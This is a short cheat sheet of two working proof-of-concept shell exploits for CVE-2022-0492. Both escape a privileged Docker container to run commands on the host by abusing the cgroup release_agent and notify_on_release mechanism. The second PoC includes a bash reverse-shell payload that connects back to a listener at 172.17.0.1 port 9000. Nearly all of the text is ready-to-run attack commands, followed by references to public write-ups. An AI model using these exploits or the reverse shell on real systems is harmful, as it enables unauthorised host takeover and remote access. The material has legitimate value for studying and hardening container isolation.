🐋Docker CVE's

PoC 1

Privileged Escape Abusing Existent release_agent (cve-2022-0492)

# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC

# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent

# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c

# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1

# Reads the output
cat /o

PoC 2

Privileged Escape Abusing created release_agent (cve-2022-0492)

# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# If mount gives an error, this won't work, you need to use the first PoC

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits 
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

---

REFERENCES

• https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation

• https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/